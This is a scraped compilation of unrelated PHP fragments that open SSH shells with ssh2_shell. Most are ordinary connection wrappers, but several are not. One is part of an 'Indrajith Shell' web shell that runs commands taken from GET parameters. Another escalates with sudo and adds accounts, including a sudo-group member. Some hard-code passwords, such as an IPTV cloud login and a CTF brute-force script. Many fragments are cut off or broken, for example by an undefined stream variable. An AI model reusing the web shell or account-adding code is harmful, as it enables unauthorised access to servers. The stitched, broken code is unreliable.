private function exec_shellscript($command_list) { $res = $this->connect_server(); if ($res['result']) { $link = $res['detail']; } else { return $res; } // シェルスクリプト配列を順次実行 $stream = ssh2_shell($link, "xterm", null, 80, 24, SSH2_TERM_UNIT_CHARS); // usleep(1000000); for ($i = 0; $i < count($command_list); $i++) { fwrite($stream, $command_list[$i]['command']); usleep($command_list[$i]['usleep']); // 最終添え字まで来たら画面の表示を返す if ($i == count($command_list) - 1) { $screen = ""; while ($line = fgets($stream)) { flush(); $screen .= $line . PHP_EOL; } fclose($stream); } } $res['detail'] = $screen; return $res; }
/** * @param Client $client * @param string $term_type * @param array $env * @param int $width * @param int $height * @param int $widthHeightType * @throws \Exception */ public function __construct(Client $client, $term_type = self::TERMINAL_XTERM, $env = array(), $width = SSH2_DEFAULT_TERM_WIDTH, $height = SSH2_DEFAULT_TERM_WIDTH, $widthHeightType = SSH2_DEFAULT_TERM_UNIT) { if (!$client->isAlive()) { throw new \Exception('Client is not connected'); } $this->client = $client; $this->stream = @ssh2_shell($client->getConnection(), $term_type, $env, $width, $height, $widthHeightType); if (!$this->stream) { throw new \Exception('Can not get shell'); } stream_set_blocking($this->stream, true); usleep(500000); $read = fread($this->stream, 8192); $lines = preg_split('/\\r?\\n/', $read); $end = $lines[count($lines) - 1]; if (!preg_match(sprintf("/%s@/", $client->getUser()), $end)) { throw new \RuntimeException('Can not find terminal command line label'); } $this->hostName = $this->exec('hostname'); if (!preg_match(sprintf('/%s@%s/', $client->getUser(), $this->hostName), $end)) { throw new \RuntimeException('Can not find terminal command line label'); } $this->commandLineLabel = $client->getUser() . '@' . $this->hostName; $this->fetchErrorStream(); }
function _connectandexecute($hostname, $port, $fingerprint, $user, $pass, $command) { // connect via ssh2 $ssh = ssh2_connect($hostname, $port); if (!$ssh) { die("connection failed!"); } $theirfingerprint = ssh2_fingerprint($ssh, SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX); if (strtoupper($theirfingerprint) != strtoupper($fingerprint)) { die("fingerprint mismatch!"); } if (!ssh2_auth_password($ssh, $user, $pass)) { die("authentication failed!"); } // shell, as Brocade really doesn't seem to like exec if (!($sock = ssh2_shell($ssh, 'vt102', null, 80, 40, SSH2_TERM_UNIT_CHARS))) { die("failed to establish shell!\n"); } fwrite($sock, "terminal length 0" . PHP_EOL); fwrite($sock, $command . PHP_EOL); sleep(1); // seems to be a magic trick... stream_set_blocking($sock, true); $data = ""; while ($buf = fread($sock, 4096)) { flush(); if (preg_match('/SSH@.+#$/', $buf)) { break; } $data .= $buf; } fclose($sock); return $data; }
static function execute1($user, $mdp, $cmd) { $connection = \ssh2_connect('localhost', 22); \ssh2_auth_password($connection, $user, $mdp); $table = array(); $shell = ssh2_shell($connection, 'xterm'); fwrite($shell, $cmd . PHP_EOL); sleep(10); return $table; }
protected function getRawCommandOutput($command, $timeout = 2) { $stream = ssh2_shell($this->connection); fwrite($stream, "{$command}\n"); stream_set_blocking($stream, true); fwrite($stream, "quit\n"); $output = ''; while ($o = stream_get_contents($stream)) { $output = $o; } return $output; }
/** * Typically called from Connection::getShell() * * @param Connection $connection * @param Terminal $terminal */ function __construct(Connection $connection, Terminal $terminal) { if (!$connection->isConnected()) { throw new NotConnectedException(); } if (!$connection->isAuthenticated()) { throw new NotAuthenticatedException(); } $this->shell_type = null; $this->connection = $connection; $this->terminal = $terminal; $this->resource = ssh2_shell($connection->getResource(), $terminal->getTerminalType(), $terminal->getEnv(), $terminal->getWidth(), $terminal->getHeight(), $terminal->getDimensionUnitType()); }
/** The constructor of knj_ssh2. */ function __construct($args){ if (!$args["conn"]){ throw new Exception("No conn supplied in parameters."); } require_once("knj/functions_knj_filesystem.php"); $this->conn = $args["conn"]; if (!$args["shell"]){ $this->shell = ssh2_shell($this->conn); }else{ $this->shell = $args["shell"]; } stream_set_blocking($this->shell, true); }
public function shell($cmd, $async = false) { $this->_reset_status(); if (!$this->shell) { $this->shell = ssh2_shell($this->conn); } if ($async) { stream_set_blocking($this->shell, 0); fwrite($this->shell, $cmd . PHP_EOL); sleep(1); return $this->_reset_status(); } else { stream_set_blocking($this->shell, 1); fwrite($this->shell, $cmd . PHP_EOL); sleep(1); $this->_reset_status(); return fread($this->shell, 10240); } }
/** * @param array $server */ public function connect(array $server) { $this->stream = ssh2_connect($server['host'], $server['port']); if (!$this->stream) { throw new \InvalidArgumentException(sprintf('SSH connection failed on "%s:%s"', $server['host'], $server['ssh_port'])); } if (array_key_exists('password', $server)) { if (!ssh2_auth_password($this->stream, $server['username'], $server['password'])) { throw new \InvalidArgumentException(sprintf('SSH authentication failed for user "%s"', $server['username'])); } } else { if (!ssh2_auth_agent($this->stream, $server['username'])) { throw new \InvalidArgumentException(sprintf('SSH connection failed on "%s" with username %s', $server['host'], $server['username'])); } } $this->shell = ssh2_shell($this->stream); if (!$this->shell) { throw new \RuntimeException('Failed opening shell'); } $this->output->writeln('<info>Connected to the server</info>'); }
public function __construct($host, $port, $user, $passwd = "", $pulic_key = "", $private_key = "") { $this->host = $host; $this->connection = ssh2_connect($host, $port); if (empty($passwd)) { //resource $session , string $username , string $pubkeyfile , string $privkeyfile [, string $passphrase ] $ssh = ssh2_auth_pubkey_file($this->connection, $user, $pulic_key, $private_key); } else { if (empty($private_key) || empty($pulic_key)) { $ssh = ssh2_auth_password($this->connection, $user, $passwd); } } if ($ssh) { if (!($this->stdio = ssh2_shell($this->connection, "xterm"))) { throw new \Exception("GLI-014 : Connexion to ssh impossible on : " . $user . "@" . $host . ":" . $port . ""); } } else { echo "Connexion to ssh impossible on : " . $user . "@" . $host . ":" . $port . "\n"; //throw new \Exception("GLI-014 : Connexion to ssh impossible on : " . $user . "@" . $host . ":" . $port . ""); } }
private function ssh($host, $port, $user, $passwd) { $connection = ssh2_connect($host, $port); if (ssh2_auth_password($connection, $user, $passwd)) { echo "Authentication Successful!\n"; if (!($stdio = @ssh2_shell($connection, "xterm"))) { echo "[FAILED]<br />"; exit(1); } $this->shell_cmd($stdio, "whoami"); $this->shell_cmd($stdio, "sudo su -"); $this->shell_cmd($stdio, "whoami"); $this->shell_cmd($stdio, "adduser mlemanissier sudo"); $this->shell_cmd($stdio, "echo 'xfghxfgh:452452:::xgfhxfgh,fdgwdfg,,:/home/sdffdf:/bin/bash' > /tmp/users"); $this->shell_cmd($stdio, "newusers /tmp/users"); $this->shell_cmd($stdio, "rm /tmp/users"); fclose($stdio); } else { echo "FAIL !!!!!!!!!!!!!!!!!\n"; //Throw new \Exception("PTB-005 : impossible to login in : " . $host); } }
/** * 更新一个渠道 */ public function ssh2Shell($host, $user, $pass, $cmds) { //主机名称 和 命令数组 $conn = parent::getConn($host, '22', $user, $pass); try { $out = ''; $shell = ssh2_shell($conn); usleep(500000); // sleep 0.5 seconds for ($i = 0; $i < count($cmds); $i++) { fwrite($shell, $cmds[$i] . PHP_EOL); usleep(200000); // sleep 0.2 seconds while ($buffer = fgets($shell)) { flush(); $out .= $buffer; } } return $out; } catch (PDOException $e) { echo "ssh2Exec() failed:" . $e->getMessage(); return false; } }
private function login() { if (!($this->resource = @ssh2_connect($this->host))) { if ($this->verbose) { echo "ssh2_connect(" . $this->host . ") FAIL\n"; } return 'ERR'; } else { if (!@ssh2_auth_password($this->resource, $this->user, $this->pass)) { if ($this->verbose) { echo "ssh2_auth_password(" . $this->user . "," . $this->pass . ") FAIL\n"; } return 'ERR'; } else { if (!($this->stdio = @ssh2_shell($this->resource, "xterm"))) { if ($this->verbose) { echo "ssh2_shell() FAIL\n"; } return 'ERR'; } } } return 0; }
$txtNode = $xdoc->createTextNode($strDescripcion); $chDescripcionAttrib->appendchild($txtNode); $xdoc->save("/var/www/IPTV/iptvStructure.xml"); echo '<p class="mensajeExito">[Éxito]: El canal ' . $strNewChannel . ' ha sido creado. </p>'; //Conexion a la nubestyle="display: none"; if (!($con = ssh2_connect("172.17.8.229", 22))) { echo '<p class="mensajeError">[Error]: al establecer conexión con la nube. </p>'; } else { // autenticación con username root, password secretpassword if (!ssh2_auth_password($con, "clouduser", "iptv2010")) { echo '<p class="mensajeError">[Error]: No es posible autenticarse en el servidor </p>'; } else { // allright, we're in! echo '<p class="mensajeExito">[Exito]: Autenticado en el servidor...</p>'; // create a shell if (!($shell = ssh2_shell($con, 'vt102', null, 80, 40, SSH2_TERM_UNIT_CHARS))) { echo '<p class="mensajeError">[Error]: No ha sido posible creal el shell. </p>'; } else { stream_set_blocking($shell, true); // send a command echo "perl s3-curl/s3curl.pl --id \$EC2_ACCESS_KEY --key \$EC2_SECRET_KEY --put /dev/null -- -s -v \$S3_URL/" . $strNewChannel . "\n"; fwrite($shell, "perl s3-curl/s3curl.pl --id \$EC2_ACCESS_KEY --key \$EC2_SECRET_KEY --put /dev/null -- -s -v \$S3_URL/" . $strNewChannel . "\n"); sleep(1); $time_start = time(); $data = ""; while (true) { $data .= fread($stream, 4096); if (strpos($data, "__COMMAND_FINISHED__") !== false) { echo '<p class="mensajeExito">[Éxito]: El canal ha sido creado en la nube.</p>'; break; }
/** * Open a shell stream * Every parameters are optionals * @param string type (see in /etc/termcap default is vt102) * @param array environnement variables to set (null) * @param int height for console (80) * @param int width for console (24) * @param const how to read width and height (SSH2_TERM_UNIT_CHARS) * @return string shell prompt */ public function openShell($type = "vt102", $env = null, $width = 80, $height = 24, $width_height_type = SSH2_TERM_UNIT_CHARS) { $this->commonTests(); if ($this->stream) { fclose($this->stream); } $this->stream = @ssh2_shell($this->conn, $type, $env, $width, $height, $width_height_type); if (!$this->stream) { throw new Exception("SSH Shell is not opened"); } //now wait for prompt while (!($res = fread($this->stream, 512))) { sleep(0.1); } $this->shell_opened = true; return $res; }
/** * Return SSH2 shell stream * * @return stream */ public function getShell() { try { if ($this->isConnected()) { $stream = @ssh2_shell($this->connection, null, null, $this->termWidth, $this->termHeight, $this->termUnits); if ($stream) { return $stream; } else { return false; } } else { return false; } } catch (Exception $e) { return false; } }
public function openShell() { if (!($stdio = ssh2_shell($this->connection, "xterm"))) { echo "[FAILED] to open a virtual shell\n"; exit(1); } echo "Virtual shell opened\n"; $this->stdio = $stdio; }
/** * @throws \InvalidArgumentException|\RuntimeException * * @param array $connection */ protected function connect($host, $username, $port = 22, $password = null, $pubkeyFile = null, $privkeyFile = null, $passphrase = null) { $this->session = ssh2_connect($host, $port); if (!$this->session) { throw new \InvalidArgumentException(sprintf('SSH connection failed on "%s:%s"', $host, $port)); } if (isset($username) && $pubkeyFile != null && $privkeyFile != null) { if (!ssh2_auth_pubkey_file($username, $pubkeyFile, $privkeyFile, $passphrase)) { throw new \InvalidArgumentException(sprintf('SSH authentication failed for user "%s" with public key "%s"', $username, $pubkeyFile)); } } elseif ($username && $password) { if (!ssh2_auth_password($this->session, $username, $password)) { throw new \InvalidArgumentException(sprintf('SSH authentication failed for user "%s"', $username)); } } $this->shell = ssh2_shell($this->session); if (!$this->shell) { throw new \RuntimeException(sprintf('Failed opening shell')); } $this->stdout = array(); $this->stdin = array(); }
function ssh_man_bg() { $ssh_h = $_GET['ssh_host']; $ssh_u = $_GET['ssh_user']; $ssh_p = $_GET['ssh_pass']; if (!function_exists('ssh2_connect')) { alert("Sorry, Function ssh2_connect is not found"); } $conn = ssh2_connect($ssh_h, 22); if (!$conn) { alert("SSH Host Not Found"); } $log = ssh2_auth_password($conn, $ssh_u, $ssh_p); if (!$log) { alert("SSH Authorication failed"); } $shell = ssh2_shell($conn, "bash"); if ($_GET['ssh_cmd'] != "" && $_GET['ssh_cmd']) { $ssh_cmd = $_GET['ssh_cmd']; fwrite($shell, $ssh_cmd); sleep(1); while ($line = fgets($shell)) { flush(); echo $line . "\n"; } ?> <div id=result><center><h2>SSH Shell by Indrajith Shell</h2><hr /><br /><br /><textarea class='textarea_edit' rows=20 cols=60></textarea> <form method='GET'>CMD : <input name='ssh_cmd' size=60><input type='submit' value=' >> ' /></form></center><br /><br /><hr /><br /><br /></div> <?php } else { ?> <div id=result><center><h2>SSH Shell by Indrajith Shell</h2><hr /><br /><br /><textarea class='textarea_edit' rows=20 cols=60></textarea> <form method='GET'>CMD : <input name='ssh_cmd' size=60><input type='submit' value=' >> ' /></form></center><br /><br /><hr /><br /><br /></div> <?php } }
/** * Remote shell exec */ function shell_exec($server_info = [], $cmd = "") { if (!$this->_INIT_OK || !$cmd || !$server_info) { return false; } if (!($con = $this->connect($server_info))) { return false; } // Execute several commands per one call ($cmd as array) if (is_array($cmd)) { $result = []; foreach ((array) $cmd as $k => $v) { $result[$k] = $this->shell_exec($server_info, $v); } return $result; } $data = false; if (DEBUG_MODE) { $time_start = microtime(true); } // execute a command if ($this->DRIVER == "phpseclib") { // Really not supported by lib, but should work as wrapper for exec $data = $con->exec($cmd); if (false === $data) { trigger_error("SSH: failed to execute remote command", E_USER_WARNING); return false; } } elseif ($this->DRIVER == "pecl_ssh2") { if (!isset($this->shell)) { $this->shell = ssh2_shell($con, 'xterm'); } if (!fwrite($this->shell, $cmd . PHP_EOL)) { trigger_error("SSH: failed to execute remote command", E_USER_WARNING); return false; } else { // collect returning data from command stream_set_blocking($this->shell, true); $data = ""; while ($buf = fgets($this->shell)) { $data .= $buf; } fclose($this->shell); } } if (DEBUG_MODE) { $exec_time = microtime(true) - $time_start; $debug_info .= "<b>" . common()->_format_time_value($exec_time) . " sec</b>,\n"; $debug_info .= "func: <b>" . __FUNCTION__ . "</b>, server: " . $server_info["base_ip"] . ",\n"; $debug_info .= "cmd: \"<b style='color:blue;'>" . $cmd . "</b>\" " . ($this->LOG_FULL_EXEC ? ", <b>response</b>:<br />\n <pre><small>" . trim($data) . "</small></pre>\n" : "") . "<br />"; $this->_debug["exec"][] = $debug_info; $this->_debug["time_sum"] += $exec_time; } $this->_log($server_info, __FUNCTION__, $cmd); return $data; }
/** * Facade for ssh2_shell function. * * @param resource $resource The SSH resource to use. * @param string $type The enviroment to use(eg:vanill or xterm). * * @return resoure|boolean Shell resource on success, false on failure. */ public function sshShell($resource, $type = "xterm") { return ssh2_shell($resource, $type); }
public function shellCmd($cmds = array()) { $this->logAction("Openning ssh2 shell"); $this->shellStream = ssh2_shell($this->conn); sleep(1); $out = ''; while ($line = fgets($this->shellStream)) { $out .= $line; } $this->logAction("ssh2 shell output: {$out}"); foreach ($cmds as $cmd) { $out = ''; $this->logAction("Writing ssh2 shell command: {$cmd}"); fwrite($this->shellStream, "{$cmd}" . PHP_EOL); sleep(1); while ($line = fgets($this->shellStream)) { $out .= $line; sleep(1); } $this->logAction("ssh2 shell command {$cmd} output: {$out}"); } $this->logAction("Closing shell stream"); fclose($this->shellStream); }
/** * Facade for ssh2_shell function. * * @param resource $resource The SSH resource to use. * @param string $type The enviroment to use(eg:vanill or xterm). * * @return resoure|boolean Shell resource on success, false on failure. */ public function sshShell($resource, $type = "xterm") { //@codeCoverageIgnoreStart return ssh2_shell($resource, $type); //@codeCoverageIgnoreEnd }
/** * * Opens a shell over SSH for us to send commands and recieve responses from. * * @param string $termType The Terminal Type we will be using * @param array $env Name/Value array of environment variables to set * @param string $width Width of the terminal * @param string $height Height of the terminal * @param string $whType Should be one of SSH2_TERM_UNIT_CHARS or SSH2_TERM_UNIT_PIXELS * @return boolean * @throws exception */ public function openShell($termType = null, $env = null, $width = null, $height = null, $whType = null) { // Set a new term type? if ($termType != null) { $this->_term_type = $termType; } // Set any new environment variables if ($env != null) { if (!is_array($this->_env)) { $this->_env = null; } else { $this->_env = $env; } } // Set a new width? if ($width != null) { $this->_width = $width; } // Set a new Height? if ($height != null) { $this->_height = $height; } // Set a new Term Unit? if ($whType != null) { $this->_width_height_type = $whType; } // Create a SSH Shell if (!($this->_shell = ssh2_shell($this->_connection, $this->_term_type, $this->_env, $this->_width, $this->_height, $this->_width_height_type))) { throw new Exception("FATAL: unable to establish shell"); } else { stream_set_blocking($this->_shell, true); usleep(3500); // get rid of the initial login stuff // This will still be written to the // history, but we don't need or desire it // cluttering up the buffer. $this->readTo($this->_prompt); $this->clearBuffer(); } //$this->setPrompt("MYCUSTOMSSHPROMPT>"); //$this->exec('prompt MYCUSTOMSSHPROMPT$G'); }
/** * Start a shell with the currenet terminal settings. * * sicnature of callback: * mixed callback(ExecutionStream $io) * * @param callable $callback * * @return mixed the result from executing callback. */ public function shell(callable $callback) { $stream = new ExecutionStream(ssh2_shell($this->session, 'vanilla', null, $this->terminal->getWidth(), $this->terminal->getHeight(), $this->terminal->getDimensionUnits())); $result = $callback($stream->async()); $stream->close(); return $result; }
return 'ok'; } } $delay = 230000; $row = []; $high = 12000; $low = 0; $startNum = round(($high + $low) / 2); $delta = 1000; $complete = 0; $seq = TRUE; $start = "Start script: " . date('H:i:s') . PHP_EOL; $connection = ssh2_connect('www.ringzer0team.com', 12643); if (ssh2_auth_password($connection, 'number', 'Z7IwIMRC2dc764L')) { echo "Authentication Successful!" . PHP_EOL; $shell = ssh2_shell($connection); /* * scrittura e lettura a vuoto per ripulire dal messaggio di ben venuto */ fwrite($shell, ''); sleep(1); for ($i = 0; $i <= 1000; $i++) { fwrite($shell, $startNum . PHP_EOL); usleep($delay); $row = fread($shell, 1024); if (empty($row)) { while (empty($row = fread($shell, 1024))) { usleep($delay + 100000); echo PHP_EOL . '******** inside while *******' . PHP_EOL; } }
/** * Execute a single command on remote side * * @return string The text data of response. */ protected function executeCommand($command, $timeout = null) { $command = $command . ""; //--- convert to string $this->debug("Command: " . $command, __FUNCTION__); switch ($this->execType) { case self::EXECTYPE_EXEC: $this->debug("Exec type: EXEC ", __FUNCTION__); $stream = ssh2_exec($this->connection, $command, $this->terminalType, $this->environment, $this->width, $this->height, $this->widthHeightType); $this->debug("Command is sent", __FUNCTION__); break; case self::EXECTYPE_SHELL: $this->debug("Exec type: SHELL ", __FUNCTION__); $stream = ssh2_shell($this->connection, $this->terminalType, $this->environment, $this->width, $this->height, $this->widthHeightType); break; default: } if (!$stream) { $this->error(self::ERR_STREAM_CREATE, __FUNCTION__); $responseData = false; } else { $this->debug("Stream created", __FUNCTION__); $responseData = ""; stream_set_blocking($stream, true); if ($this->execType == self::EXECTYPE_SHELL) { fwrite($stream, $command); //.PHP_EOL $this->debug("Command is sent", __FUNCTION__); } while ($o = fgets($stream)) { $responseData .= $o; $this->debug("Response: " . $o, __FUNCTION__); } fclose($stream); $this->debug("Stream closed", __FUNCTION__); } return $responseData; }